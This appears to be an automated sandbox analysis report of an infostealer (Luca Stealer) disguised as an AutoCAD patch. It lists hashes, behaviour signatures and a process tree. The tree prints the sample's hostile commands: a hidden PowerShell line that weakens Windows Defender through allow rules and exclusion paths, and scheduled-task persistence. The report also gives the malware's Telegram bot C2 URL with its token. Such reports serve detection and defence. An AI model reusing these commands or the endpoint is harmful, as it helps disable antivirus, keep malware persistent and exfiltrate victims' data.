Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-05-2023 14:04

General

  • Target

    AutoCAD_Patch_Languague_2022_x64.exe

  • Size

    4.5MB

  • MD5

    c2b4425b66906d54cb7c9740bc6d4ba0

  • SHA1

    8e647dc068f7579b8fe5a24db25f1ecfeac4ace6

  • SHA256

    ff39886baad3900fbd5edceefd6058fe87435950ac6c46d5a222b90264b2f303

  • SHA512

    86e33e0224d021207a139263de5527788fce0f686cb581b1a54735378453c68d9ad525f271b995f28c91e881d329ab729920403d8c674410833ce0fd34f9f74f

  • SSDEEP

    98304:mtrbTA1TXSLLIBw+a5XLW6jRhdGVQguhhW31Z6:Yc1TiLLSwLL5LdGVzu+lc

Malware Config

Extracted

Family

lucastealer

C2

https://api.telegram.org/bot6068798932:AAG_cHiqinDwNZ3Hd-rdp8tPwbT0czdVwTw

Signatures

  • Luca Stealer

    Info stealer written in Rust first seen in July 2022.

  • Luca Stealer payload 5 IoCs
  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Modifies Installed Components in the registry 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Adds Run key to start application 2 TTPs 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\AutoCAD_Patch_Languague_2022_x64.exe
    "C:\Users\Admin\AppData\Local\Temp\AutoCAD_Patch_Languague_2022_x64.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:744
    • C:\Users\Admin\AppData\Local\Temp\TZELRK.exe
      "C:\Users\Admin\AppData\Local\Temp\TZELRK.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3028
      • \??\c:\users\admin\appdata\local\temp\tzelrk.exe 
        c:\users\admin\appdata\local\temp\tzelrk.exe 
        3⤵
        • Executes dropped EXE
        PID:4780
      • C:\Users\Admin\AppData\Local\icsys.icn.exe
        C:\Users\Admin\AppData\Local\icsys.icn.exe
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4888
        • \??\c:\windows\system\explorer.exe
          c:\windows\system\explorer.exe
          4⤵
          • Modifies WinLogon for persistence
          • Modifies visiblity of hidden/system files in Explorer
          • Modifies Installed Components in the registry
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4056
          • \??\c:\windows\system\spoolsv.exe
            c:\windows\system\spoolsv.exe SE
            5⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4644
            • \??\c:\windows\system\svchost.exe
              c:\windows\system\svchost.exe
              6⤵
              • Modifies WinLogon for persistence
              • Modifies visiblity of hidden/system files in Explorer
              • Modifies Installed Components in the registry
              • Executes dropped EXE
              • Adds Run key to start application
              • Drops file in Windows directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3732
              • \??\c:\windows\system\spoolsv.exe
                c:\windows\system\spoolsv.exe PR
                7⤵
                • Executes dropped EXE
                • Suspicious use of SetWindowsHookEx
                PID:1596
              • C:\Windows\SysWOW64\at.exe
                at 16:07 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
                7⤵
                  PID:4236
                • C:\Windows\SysWOW64\at.exe
                  at 16:08 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
                  7⤵
                    PID:1676
                  • C:\Windows\SysWOW64\at.exe
                    at 16:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
                    7⤵
                      PID:852
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\UGGRUW.cmd" "
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3408
            • C:\Windows\SysWOW64\reg.exe
              reg query "HKU\S-1-5-19\Environment"
              3⤵
                PID:5044
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                Powershell -nologo -noninteractive -windowStyle hidden -noprofile -command $First = "Add-MpPreference -ThreatIDDefaultAction_Ids "; $Third = " -ThreatIDDefaultAction_Actions Allow -Force"; $ListID = 2147685180, 2147735507, 2147736914, 2147743522, 2147734094, 2147743421, 251873, 213927, 2147722906, 2147748160; ForEach ($ID in $ListID) { Invoke-Expression ($First + $ID + $Third) }; $ListPath = "C:\Windows\KMSAutoS", "C:\Windows\System32\SppExtComObjHook.dll", "C:\Windows\System32\SppExtComObjPatcher.exe", "C:\Windows\AAct_Tools", "C:\Windows\AAct_Tools\AAct_x64.exe", "C:\Windows\AAct_Tools\AAct_files\KMSSS.exe", "C:\Windows\AAct_Tools\AAct_files", "C:\Windows\KMS"; $First = "Add-MpPreference -ExclusionPath "; $Third = "-Force"; ForEach ($Path in $ListPath) { Invoke-Expression ($First + $Path + $Third) }; :Admin
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3924
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKU\S-1-5-19\Environment"
                3⤵
                  PID:220
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c schtasks /create /tn OXRXOQ.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Office Click-to-Run.exe /sc minute /mo 1
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4352
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn OXRXOQ.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Office Click-to-Run.exe /sc minute /mo 1
                  3⤵
                  • Creates scheduled task(s)
                  PID:2756

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\TZELRK.exe

              Filesize

              5.9MB

              MD5

              021079dc0918b9c7359e93e770678000

              SHA1

              70c03da6f7b339340b1943f5d0b7b1fd87579adf

              SHA256

              ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

              SHA512

              9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

            • C:\Users\Admin\AppData\Local\Temp\TZELRK.exe

              Filesize

              5.9MB

              MD5

              021079dc0918b9c7359e93e770678000

              SHA1

              70c03da6f7b339340b1943f5d0b7b1fd87579adf

              SHA256

              ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

              SHA512

              9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

            • C:\Users\Admin\AppData\Local\Temp\TZELRK.exe

              Filesize

              5.9MB

              MD5

              021079dc0918b9c7359e93e770678000

              SHA1

              70c03da6f7b339340b1943f5d0b7b1fd87579adf

              SHA256

              ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

              SHA512

              9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

            • C:\Users\Admin\AppData\Local\Temp\UGGRUW.cmd

              Filesize

              1KB

              MD5

              15a1fe3d0f342bdd3232253c7810a05d

              SHA1

              b658e0d903b37bf12e8e640bece22f235552dc50

              SHA256

              4070dcb09b69ef57160fae0be5ee3664e39170eeacc46e6f50a080493552b338

              SHA512

              1961fc65a839c55806162a197385859cfe3a24551ab9b7e0121166eac5e5ae1a4a0d9180229d0ea0240dccb770e4c2d508577e60988c9271bb11f94de1897a35

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qecl3fos.f2a.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\tzelrk.exe 

              Filesize

              5.7MB

              MD5

              2c2055233260e5bb20ce675afd39ed0d

              SHA1

              26c056ba8e99a3fb523612b422a85be3ecbbd5b3

              SHA256

              306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

              SHA512

              3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

            • C:\Users\Admin\AppData\Local\icsys.icn.exe

              Filesize

              206KB

              MD5

              c5f78d788265a8c2b80017a0dc351266

              SHA1

              32836c3ccaf84431beaba1b10107743c052cddc0

              SHA256

              0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

              SHA512

              0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

            • C:\Users\Admin\AppData\Local\icsys.icn.exe

              Filesize

              206KB

              MD5

              c5f78d788265a8c2b80017a0dc351266

              SHA1

              32836c3ccaf84431beaba1b10107743c052cddc0

              SHA256

              0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

              SHA512

              0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

            • C:\Users\Admin\AppData\Roaming\mrsys.exe

              Filesize

              206KB

              MD5

              318332c49bac145f36df1ce7fa921fb0

              SHA1

              14f0f00215cbe0cb5c8140d2d6ae0fad1953d952

              SHA256

              7e16bb7f26408bddf577411792463b92f8a092d1c690edc74e312b839b77ec98

              SHA512

              af8ff58e5bfc32634f8b95001ae1a42fa8034d5e167cc5c78adad7d6e58f09c27cbafc65232fea1b19d29909343f11d75f9f1b91e0e3465b051cdb3ac23f5ede

            • C:\Windows\System\explorer.exe

              Filesize

              206KB

              MD5

              23bd3bb28bc62cc68fb462aa9b15c524

              SHA1

              bafa1c8c2a059a2959fcdddde139bfc96686cf57

              SHA256

              34e1b060a1f14a4bfbf78db1eb6f067d48b925afdfcc759b96709d9c9b75c9a9

              SHA512

              0ee8b4ad2e73544d86f686d0b74f3e25c7f1c3aee9b417ebae166cf7a9e0c200a7d755a41afc40154358ad2003c912afcb6f86eaad912c733d6c55651d9325d1

            • C:\Windows\System\spoolsv.exe

              Filesize

              206KB

              MD5

              59ec442126486b44962f3690733e5cfb

              SHA1

              43d2ad327d1551ec3806328f70c353e39b3d73e7

              SHA256

              a1fea8d6b70ad7156731a22d78b6a578e13341aed68888870e4f9da14bf7d6af

              SHA512

              9468d7ff192009491e90d10c7e553d148960f3fa31c8b353c69a22f0201edd20cbdc75cddc7941cc551f3d8d78881a89fe889352f7e69222f877dd9522a14c35

            • C:\Windows\System\spoolsv.exe

              Filesize

              206KB

              MD5

              59ec442126486b44962f3690733e5cfb

              SHA1

              43d2ad327d1551ec3806328f70c353e39b3d73e7

              SHA256

              a1fea8d6b70ad7156731a22d78b6a578e13341aed68888870e4f9da14bf7d6af

              SHA512

              9468d7ff192009491e90d10c7e553d148960f3fa31c8b353c69a22f0201edd20cbdc75cddc7941cc551f3d8d78881a89fe889352f7e69222f877dd9522a14c35

            • C:\Windows\System\svchost.exe

              Filesize

              207KB

              MD5

              0f02d3152386b0574804f5acb00fa906

              SHA1

              d8ad3ae0b20561db7e679d8f4d02daa04790e32e

              SHA256

              f4dd0cdf2a66ecb74f1977661a8ac7b1edbe591df4f9f0cf19a05205ce4064c5

              SHA512

              bb3304c962dbdf9cff1c5dbd77511ecffe3165bae4e508f4af7193d03f28493894eabf28c4d33fcca11fbe37c5ebb81785d8cfd84ec019d9b5c210a5933f926a

            • \??\c:\users\admin\appdata\local\temp\tzelrk.exe 

              Filesize

              5.7MB

              MD5

              2c2055233260e5bb20ce675afd39ed0d

              SHA1

              26c056ba8e99a3fb523612b422a85be3ecbbd5b3

              SHA256

              306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

              SHA512

              3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

            • \??\c:\windows\system\explorer.exe

              Filesize

              206KB

              MD5

              23bd3bb28bc62cc68fb462aa9b15c524

              SHA1

              bafa1c8c2a059a2959fcdddde139bfc96686cf57

              SHA256

              34e1b060a1f14a4bfbf78db1eb6f067d48b925afdfcc759b96709d9c9b75c9a9

              SHA512

              0ee8b4ad2e73544d86f686d0b74f3e25c7f1c3aee9b417ebae166cf7a9e0c200a7d755a41afc40154358ad2003c912afcb6f86eaad912c733d6c55651d9325d1

            • \??\c:\windows\system\spoolsv.exe

              Filesize

              206KB

              MD5

              59ec442126486b44962f3690733e5cfb

              SHA1

              43d2ad327d1551ec3806328f70c353e39b3d73e7

              SHA256

              a1fea8d6b70ad7156731a22d78b6a578e13341aed68888870e4f9da14bf7d6af

              SHA512

              9468d7ff192009491e90d10c7e553d148960f3fa31c8b353c69a22f0201edd20cbdc75cddc7941cc551f3d8d78881a89fe889352f7e69222f877dd9522a14c35

            • \??\c:\windows\system\svchost.exe

              Filesize

              207KB

              MD5

              0f02d3152386b0574804f5acb00fa906

              SHA1

              d8ad3ae0b20561db7e679d8f4d02daa04790e32e

              SHA256

              f4dd0cdf2a66ecb74f1977661a8ac7b1edbe591df4f9f0cf19a05205ce4064c5

              SHA512

              bb3304c962dbdf9cff1c5dbd77511ecffe3165bae4e508f4af7193d03f28493894eabf28c4d33fcca11fbe37c5ebb81785d8cfd84ec019d9b5c210a5933f926a

            • memory/1596-222-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/3028-227-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/3028-161-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/3732-234-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/3732-228-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/3924-170-0x0000000003480000-0x0000000003490000-memory.dmp

              Filesize

              64KB

            • memory/3924-207-0x00000000069A0000-0x00000000069BE000-memory.dmp

              Filesize

              120KB

            • memory/3924-178-0x0000000006310000-0x0000000006376000-memory.dmp

              Filesize

              408KB

            • memory/3924-184-0x0000000006380000-0x00000000063E6000-memory.dmp

              Filesize

              408KB

            • memory/3924-176-0x00000000059D0000-0x00000000059F2000-memory.dmp

              Filesize

              136KB

            • memory/3924-172-0x0000000005BE0000-0x0000000006208000-memory.dmp

              Filesize

              6.2MB

            • memory/3924-171-0x0000000003480000-0x0000000003490000-memory.dmp

              Filesize

              64KB

            • memory/3924-166-0x00000000033E0000-0x0000000003416000-memory.dmp

              Filesize

              216KB

            • memory/4056-197-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/4056-233-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/4644-225-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/4888-196-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/4888-226-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB